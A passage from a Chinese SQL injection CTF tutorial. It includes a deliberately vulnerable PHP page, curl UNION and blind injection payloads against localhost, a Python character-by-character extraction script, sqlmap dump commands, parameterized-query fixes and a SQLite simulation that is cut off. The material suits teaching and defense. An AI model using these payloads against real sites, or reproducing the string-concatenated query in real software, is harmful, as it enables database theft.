注入。",[10,4972,4974],{"id":4973},"二环境搭建二选一","二、环境搭建（二选一）",[462,4976,4978],{"id":4977},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[39,4980,4982],{"className":41,"code":4981,"language":43,"meta":44,"style":44},"git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n",[19,4983,4984,4995,5002],{"__ignoreMap":44},[48,4985,4986,4989,4992],{"class":50,"line":51},[48,4987,4988],{"class":54},"git",[48,4990,4991],{"class":58}," clone",[48,4993,4994],{"class":58}," https://github.com/Audi-1/sqli-labs.git\n",[48,4996,4997,4999],{"class":50,"line":68},[48,4998,1669],{"class":1668},[48,5000,5001],{"class":58}," sqli-labs\n",[48,5003,5004,5006,5009],{"class":50,"line":107},[48,5005,4930],{"class":54},[48,5007,5008],{"class":219}," -S",[48,5010,5011],{"class":58}," 127.0.0.1:8000\n",[15,5013,5014,5015,30],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[19,5016,5017],{},"Less-1",[462,5019,5021],{"id":5020},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[15,5023,5024],{},"数据库：",[39,5026,5028],{"className":4955,"code":5027,"language":4957,"meta":44,"style":44},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[19,5029,5030,5035,5040,5045,5050,5055],{"__ignoreMap":44},[48,5031,5032],{"class":50,"line":51},[48,5033,5034],{},"CREATE DATABASE ctf;\n",[48,5036,5037],{"class":50,"line":68},[48,5038,5039],{},"USE ctf;\n",[48,5041,5042],{"class":50,"line":107},[48,5043,5044],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[48,5046,5047],{"class":50,"line":114},[48,5048,5049],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[48,5051,5052],{"class":50,"line":120},[48,5053,5054],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[48,5056,5057],{"class":50,"line":126},[48,5058,5059],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[15,5061,5062,87],{},[19,5063,5064],{},"vuln.php",[39,5066,5068],{"className":4928,"code":5067,"language":4930,"meta":44,"style":44},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[19,5069,5070,5075,5080,5084,5089,5094,5099,5104,5108],{"__ignoreMap":44},[48,5071,5072],{"class":50,"line":51},[48,5073,5074],{},"\u003C?php\n",[48,5076,5077],{"class":50,"line":68},[48,5078,5079],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[48,5081,5082],{"class":50,"line":107},[48,5083,4937],{},[48,5085,5086],{"class":50,"line":114},[48,5087,5088],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[48,5090,5091],{"class":50,"line":120},[48,5092,5093],{},"$result = $conn->query($sql);\n",[48,5095,5096],{"class":50,"line":126},[48,5097,5098],{},"while ($row = $result->fetch_assoc()) {\n",[48,5100,5101],{"class":50,"line":132},[48,5102,5103],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[48,5105,5106],{"class":50,"line":137},[48,5107,129],{},[48,5109,5110],{"class":50,"line":143},[48,5111,5112],{},"?>\n",[15,5114,5115,5116,30],{},"启动：",[19,5117,5118],{},"php -S 127.0.0.1:8000",[5120,5121,5122],"blockquote",{},[15,5123,5124],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[10,5126,5128],{"id":5127},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[15,5130,5131,5133,5134,5137],{},[27,5132,252],{},"：确认参数 ",[19,5135,5136],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[15,5139,5140,5142],{},[27,5141,258],{},"：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[462,5144,5146],{"id":5145},"请求-1正常请求","请求 1：正常请求",[15,5148,5149,5151],{},[27,5150,252],{},"：记录正常响应的样子，作为后续对比的基线。",[39,5153,5155],{"className":41,"code":5154,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[19,5156,5157],{"__ignoreMap":44},[48,5158,5159,5162,5165,5168],{"class":50,"line":51},[48,5160,5161],{"class":54},"curl",[48,5163,5164],{"class":1325}," \"",[48,5166,5167],{"class":58},"http://127.0.0.1:8000/vuln.php?id=1",[48,5169,5170],{"class":1325},"\"\n",[15,5172,281],{},[39,5174,5177],{"className":5175,"code":5176,"language":287,"meta":44},[285],"1 hello world\n",[19,5178,5176],{"__ignoreMap":44},[462,5180,5182],{"id":5181},"请求-2单引号","请求 2：单引号",[15,5184,5185,5187],{},[27,5186,252],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[39,5189,5191],{"className":41,"code":5190,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[19,5192,5193],{"__ignoreMap":44},[48,5194,5195,5197,5199,5202],{"class":50,"line":51},[48,5196,5161],{"class":54},[48,5198,5164],{"class":1325},[48,5200,5201],{"class":58},"http://127.0.0.1:8000/vuln.php?id=1'",[48,5203,5170],{"class":1325},[15,5205,5206],{},"预期输出（报错）：",[39,5208,5211],{"className":5209,"code":5210,"language":287,"meta":44},[285],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[19,5212,5210],{"__ignoreMap":44},[15,5214,5215,5216,5219],{},"原因：语句变成 ",[19,5217,5218],{},"WHERE id = 1'","，单引号未闭合。",[462,5221,5223],{"id":5222},"请求-3and-11","请求 3：AND 1=1",[39,5225,5227],{"className":41,"code":5226,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[19,5228,5229],{"__ignoreMap":44},[48,5230,5231,5233,5235,5238],{"class":50,"line":51},[48,5232,5161],{"class":54},[48,5234,5164],{"class":1325},[48,5236,5237],{"class":58},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[48,5239,5170],{"class":1325},[15,5241,281,5242,5245],{},[19,5243,5244],{},"1 hello world","（条件真）。",[462,5247,5249],{"id":5248},"请求-4and-12","请求 4：AND 1=2",[39,5251,5253],{"className":41,"code":5252,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[19,5254,5255],{"__ignoreMap":44},[48,5256,5257,5259,5261,5264],{"class":50,"line":51},[48,5258,5161],{"class":54},[48,5260,5164],{"class":1325},[48,5262,5263],{"class":58},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[48,5265,5170],{"class":1325},[15,5267,5268],{},"预期输出：空（条件假）。",[15,5270,5271,5274,5275,5278,5279,5282],{},[27,5272,5273],{},"判定","：单引号报错 + ",[19,5276,5277],{},"1=1"," 正常 + ",[19,5280,5281],{},"1=2"," 为空 → 注入点确认。",[10,5284,5286],{"id":5285},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[15,5288,5289,5291],{},[27,5290,252],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[15,5293,5294,5296],{},[27,5295,258],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[15,5298,5299,5300,5303],{},"前提：第一个查询返回空（用 ",[19,5301,5302],{},"id=-1","），UNION 两个查询列数相同。",[462,5305,5307],{"id":5306},"第-1-步确定列数","第 1 步：确定列数",[15,5309,5310,87,5312,5315],{},[27,5311,258],{},[19,5313,5314],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[39,5317,5319],{"className":41,"code":5318,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[19,5320,5321,5332,5343,5354],{"__ignoreMap":44},[48,5322,5323,5325,5327,5330],{"class":50,"line":51},[48,5324,5161],{"class":54},[48,5326,5164],{"class":1325},[48,5328,5329],{"class":58},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[48,5331,5170],{"class":1325},[48,5333,5334,5336,5338,5341],{"class":50,"line":68},[48,5335,5161],{"class":54},[48,5337,5164],{"class":1325},[48,5339,5340],{"class":58},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[48,5342,5170],{"class":1325},[48,5344,5345,5347,5349,5352],{"class":50,"line":107},[48,5346,5161],{"class":54},[48,5348,5164],{"class":1325},[48,5350,5351],{"class":58},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[48,5353,5170],{"class":1325},[48,5355,5356,5358,5360,5363],{"class":50,"line":114},[48,5357,5161],{"class":54},[48,5359,5164],{"class":1325},[48,5361,5362],{"class":58},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[48,5364,5170],{"class":1325},[15,5366,5367],{},"前三条正常，第四条报错 → 共 3 列。",[462,5369,5371],{"id":5370},"第-2-步确认回显位","第 2 步：确认回显位",[15,5373,5374,87,5376,5379],{},[27,5375,258],{},[19,5377,5378],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[39,5381,5383],{"className":41,"code":5382,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[19,5384,5385],{"__ignoreMap":44},[48,5386,5387,5389,5391,5394],{"class":50,"line":51},[48,5388,5161],{"class":54},[48,5390,5164],{"class":1325},[48,5392,5393],{"class":58},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[48,5395,5170],{"class":1325},[15,5397,281,5398,5401],{},[19,5399,5400],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[462,5403,5405],{"id":5404},"第-3-步查数据库名","第 3 步：查数据库名",[39,5407,5409],{"className":41,"code":5408,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[19,5410,5411],{"__ignoreMap":44},[48,5412,5413,5415,5417,5420],{"class":50,"line":51},[48,5414,5161],{"class":54},[48,5416,5164],{"class":1325},[48,5418,5419],{"class":58},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[48,5421,5170],{"class":1325},[15,5423,281,5424,30],{},[19,5425,942],{},[462,5427,5429],{"id":5428},"第-4-步查表名","第 4 步：查表名",[39,5431,5433],{"className":41,"code":5432,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[19,5434,5435],{"__ignoreMap":44},[48,5436,5437,5439,5441,5444],{"class":50,"line":51},[48,5438,5161],{"class":54},[48,5440,5164],{"class":1325},[48,5442,5443],{"class":58},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[48,5445,5170],{"class":1325},[15,5447,281,5448,30],{},[19,5449,5450],{},"articles,flag,users",[462,5452,5454],{"id":5453},"第-5-步查列名","第 5 步：查列名",[39,5456,5458],{"className":41,"code":5457,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[19,5459,5460],{"__ignoreMap":44},[48,5461,5462,5464,5466,5469],{"class":50,"line":51},[48,5463,5161],{"class":54},[48,5465,5164],{"class":1325},[48,5467,5468],{"class":58},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[48,5470,5170],{"class":1325},[15,5472,281,5473,30],{},[19,5474,2985],{},[15,5476,5477,5480,5481,5483,5484,5486,5487,5489],{},[27,5478,5479],{},"说明","：如果第 4 步看到多个表，比如 ",[19,5482,5450],{},"，优先怀疑 ",[19,5485,2985],{}," 表；列名可能不是 ",[19,5488,2985],{},"，需要本步用 information_schema.columns 确认。",[462,5491,5493],{"id":5492},"第-6-步拿数据","第 6 步：拿数据",[39,5495,5497],{"className":41,"code":5496,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[19,5498,5499],{"__ignoreMap":44},[48,5500,5501,5503,5505,5508],{"class":50,"line":51},[48,5502,5161],{"class":54},[48,5504,5164],{"class":1325},[48,5506,5507],{"class":58},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[48,5509,5170],{"class":1325},[15,5511,281,5512,30],{},[19,5513,5514],{},"flag{sql_injection}",[15,5516,5517,5520],{},[27,5518,5519],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[10,5522,5524],{"id":5523},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[15,5526,5527,5529],{},[27,5528,252],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[15,5531,5532],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[462,5534,5536],{"id":5535},"_51-布尔盲注","5.1 布尔盲注",[39,5538,5540],{"className":41,"code":5539,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[19,5541,5542],{"__ignoreMap":44},[48,5543,5544,5546,5548,5551],{"class":50,"line":51},[48,5545,5161],{"class":54},[48,5547,5164],{"class":1325},[48,5549,5550],{"class":58},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[48,5552,5170],{"class":1325},[15,5554,5555,5556,30],{},"正常 → 库名第一个字符是 ",[19,5557,92],{},[39,5559,5561],{"className":41,"code":5560,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[19,5562,5563],{"__ignoreMap":44},[48,5564,5565,5567,5569,5572],{"class":50,"line":51},[48,5566,5161],{"class":54},[48,5568,5164],{"class":1325},[48,5570,5571],{"class":58},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[48,5573,5170],{"class":1325},[15,5575,5576,5577,30],{},"为空 → 不是 ",[19,5578,3179],{},[15,5580,5581],{},"自动化脚本：",[15,5583,5584,5586,5587,5590],{},[27,5585,258],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[19,5588,5589],{},"hello","）就说明猜对，把字符记下再问下一位。",[39,5592,5594],{"className":383,"code":5593,"language":385,"meta":44,"style":44},"import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", result)\n",[19,5595,5596,5601,5606,5610,5615,5620,5624,5629,5634,5639,5644,5649,5654,5659,5664,5669,5674,5679,5684,5689,5694,5699,5704,5709,5714,5719,5723],{"__ignoreMap":44},[48,5597,5598],{"class":50,"line":51},[48,5599,5600],{},"import requests, string\n",[48,5602,5603],{"class":50,"line":68},[48,5604,5605],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[48,5607,5608],{"class":50,"line":107},[48,5609,111],{"emptyLinePlaceholder":110},[48,5611,5612],{"class":50,"line":114},[48,5613,5614],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[48,5616,5617],{"class":50,"line":120},[48,5618,5619],{},"result = \"\"          # 保存已确认的 flag 片段\n",[48,5621,5622],{"class":50,"line":126},[48,5623,111],{"emptyLinePlaceholder":110},[48,5625,5626],{"class":50,"line":132},[48,5627,5628],{},"for pos in range(1, 50):\n",[48,5630,5631],{"class":50,"line":137},[48,5632,5633],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[48,5635,5636],{"class":50,"line":143},[48,5637,5638],{},"    found = False\n",[48,5640,5641],{"class":50,"line":149},[48,5642,5643],{},"    for ch in string.printable:\n",[48,5645,5646],{"class":50,"line":155},[48,5647,5648],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[48,5650,5651],{"class":50,"line":160},[48,5652,5653],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[48,5655,5656],{"class":50,"line":165},[48,5657,5658],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[48,5660,5661],{"class":50,"line":171},[48,5662,5663],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[48,5665,5666],{"class":50,"line":177},[48,5667,5668],{},"        r = requests.get(url, params={\"id\": payload})\n",[48,5670,5671],{"class":50,"line":183},[48,5672,5673],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[48,5675,5676],{"class":50,"line":189},[48,5677,5678],{},"        # r.text：响应正文。\n",[48,5680,5681],{"class":50,"line":195},[48,5682,5683],{},"        if \"hello\" in r.text:\n",[48,5685,5686],{"class":50,"line":201},[48,5687,5688],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[48,5690,5691],{"class":50,"line":3660},[48,5692,5693],{},"            result += ch\n",[48,5695,5696],{"class":50,"line":3666},[48,5697,5698],{},"            print(result)\n",[48,5700,5701],{"class":50,"line":3672},[48,5702,5703],{},"            found = True\n",[48,5705,5706],{"class":50,"line":3678},[48,5707,5708],{},"            break\n",[48,5710,5711],{"class":50,"line":3684},[48,5712,5713],{},"    if not found or result.endswith('}'):\n",[48,5715,5716],{"class":50,"line":4449},[48,5717,5718],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[48,5720,5721],{"class":50,"line":4454},[48,5722,3351],{},[48,5724,5725],{"class":50,"line":4460},[48,5726,5727],{},"print(\"flag:\", result)\n",[15,5729,5730],{},"运行过程输出（节选）：",[39,5732,5735],{"className":5733,"code":5734,"language":287,"meta":44},[285],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[19,5736,5734],{"__ignoreMap":44},[462,5738,5740],{"id":5739},"_52-时间盲注","5.2 时间盲注",[15,5742,5743,5744,5747],{},"页面连\"正常/异常\"都无法区分时，用 ",[19,5745,5746],{},"SLEEP"," 制造时间差：",[39,5749,5751],{"className":41,"code":5750,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[19,5752,5753],{"__ignoreMap":44},[48,5754,5755,5757,5759,5762],{"class":50,"line":51},[48,5756,5161],{"class":54},[48,5758,5164],{"class":1325},[48,5760,5761],{"class":58},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[48,5763,5170],{"class":1325},[15,5765,5766],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[10,5768,5770],{"id":5769},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[15,5772,5773,5775],{},[27,5774,252],{},"：手工确认后，用工具批量完成拖库，效率更高。",[462,5777,5779],{"id":5778},"命令-1检测","命令 1：检测",[15,5781,5782,5784],{},[27,5783,258],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[39,5786,5788],{"className":41,"code":5787,"language":43,"meta":44,"style":44},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[19,5789,5790],{"__ignoreMap":44},[48,5791,5792,5795,5798,5800,5802,5805],{"class":50,"line":51},[48,5793,5794],{"class":54},"sqlmap",[48,5796,5797],{"class":219}," -u",[48,5799,5164],{"class":1325},[48,5801,5167],{"class":58},[48,5803,5804],{"class":1325},"\"",[48,5806,5807],{"class":219}," --batch\n",[15,5809,1335],{},[39,5811,5814],{"className":5812,"code":5813,"language":287,"meta":44},[285],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[19,5815,5813],{"__ignoreMap":44},[462,5817,5819],{"id":5818},"命令-2列库","命令 2：列库",[39,5821,5823],{"className":41,"code":5822,"language":43,"meta":44,"style":44},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[19,5824,5825],{"__ignoreMap":44},[48,5826,5827,5829,5831,5833,5835,5837],{"class":50,"line":51},[48,5828,5794],{"class":54},[48,5830,5797],{"class":219},[48,5832,5164],{"class":1325},[48,5834,5167],{"class":58},[48,5836,5804],{"class":1325},[48,5838,5839],{"class":219}," --dbs\n",[15,5841,5842,5843,30],{},"预期输出：数据库列表，含 ",[19,5844,942],{},[462,5846,5848],{"id":5847},"命令-3导出数据","命令 3：导出数据",[39,5850,5852],{"className":41,"code":5851,"language":43,"meta":44,"style":44},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[19,5853,5854],{"__ignoreMap":44},[48,5855,5856,5858,5860,5862,5864,5866,5869,5872,5875,5878],{"class":50,"line":51},[48,5857,5794],{"class":54},[48,5859,5797],{"class":219},[48,5861,5164],{"class":1325},[48,5863,5167],{"class":58},[48,5865,5804],{"class":1325},[48,5867,5868],{"class":219}," -D",[48,5870,5871],{"class":58}," ctf",[48,5873,5874],{"class":219}," -T",[48,5876,5877],{"class":58}," flag",[48,5879,5880],{"class":219}," --dump\n",[15,5882,281,5883,5885,5886,30],{},[19,5884,2985],{}," 表内容 ",[19,5887,5514],{},[10,5889,5891],{"id":5890},"七核心步骤-5防御","七、核心步骤 5：防御",[39,5893,5895],{"className":4928,"code":5894,"language":4930,"meta":44,"style":44},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[19,5896,5897,5902,5907,5912,5916,5921,5926,5931],{"__ignoreMap":44},[48,5898,5899],{"class":50,"line":51},[48,5900,5901],{},"// PDO 参数化\n",[48,5903,5904],{"class":50,"line":68},[48,5905,5906],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[48,5908,5909],{"class":50,"line":107},[48,5910,5911],{},"$stmt->execute([$_GET['id']]);\n",[48,5913,5914],{"class":50,"line":114},[48,5915,111],{"emptyLinePlaceholder":110},[48,5917,5918],{"class":50,"line":120},[48,5919,5920],{},"// mysqli 参数化\n",[48,5922,5923],{"class":50,"line":126},[48,5924,5925],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[48,5927,5928],{"class":50,"line":132},[48,5929,5930],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[48,5932,5933],{"class":50,"line":137},[48,5934,5935],{},"$stmt->execute();\n",[39,5937,5939],{"className":383,"code":5938,"language":385,"meta":44,"style":44},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[19,5940,5941],{"__ignoreMap":44},[48,5942,5943],{"class":50,"line":51},[48,5944,5938],{},[15,5946,5947,5948,5951],{},"参数化后，输入 ",[19,5949,5950],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[10,5953,5955],{"id":5954},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[15,5957,5958,5960],{},[27,5959,252],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[15,5962,5963,5964,87],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[19,5965,5966],{},"sim.py",[39,5968,5970],{"className":383,"code":5969,"language":385,"meta":44,"style":44},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[19,5971,5972,5977,5982,5986,5991,5996,6001,6006,6010,6015,6019,6024,6029,6033,6038,6043,6048,6053,6058,6063,6068,6073,6078,6083,6088,6093,6097,6102,6107,6112,6117,6122,6127,6132],{"__ignoreMap":44},[48,5973,5974],{"class":50,"line":51},[48,5975,5976],{},"import sqlite3\n",[48,5978,5979],{"class":50,"line":68},[48,5980,5981],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[48,5983,5984],{"class":50,"line":107},[48,5985,111],{"emptyLinePlaceholder":110},[48,5987,5988],{"class":50,"line":114},[48,5989,5990],{},"conn = sqlite3.connect(':memory:')\n",[48,5992,5993],{"class":50,"line":120},[48,5994,5995],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[48,5997,5998],{"class":50,"line":126},[48,5999,6000],{},"conn.executescript('''\n",[48,6002,6003],{"class":50,"line":132},[48,6004,6005],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[48,6007,6008],{"class":50,"line":137},[48,6009,5049],{},[48,6011,6012],{"class":50,"line":143},[48,6013,6014],{},"CREATE TABLE flag (flag TEXT);\n",[48,6016,6017],{"class":50,"line":149},[48,6018,5059],{},[48,6020,6021],{"class":50,"line":155},[48,6022,6023],{},"''')\n",[48,6025,6026],{"class":50,"line":160},[48,6027,6028],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[48,6030,6031],{"class":50,"line":165},[48,6032,111],{"emptyLinePlaceholder":110},[48,6034,6035],{"class":50,"line":171},[48,6036,6037],{},"def query(id_):\n",[48,6039,6040],{"class":50,"line":177},[48,6041,6042],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[48,6044,6045],{"class":50,"line":183},[48,6046,6047],{},"    cur = conn.cursor()\n",[48,6049,6050],{"class":50,"line":189},[48,6051,6052],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[48,6054,6055],{"class":50,"line":195},[48,6056,6057],{},"    try:\n",[48,6059,6060],{"class":50,"line":201},[48,6061,6062],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[48,6064,6065],{"class":50,"line":3660},[48,6066,6067],{},"        # execute：执行一条 SQL；这里直接拼接 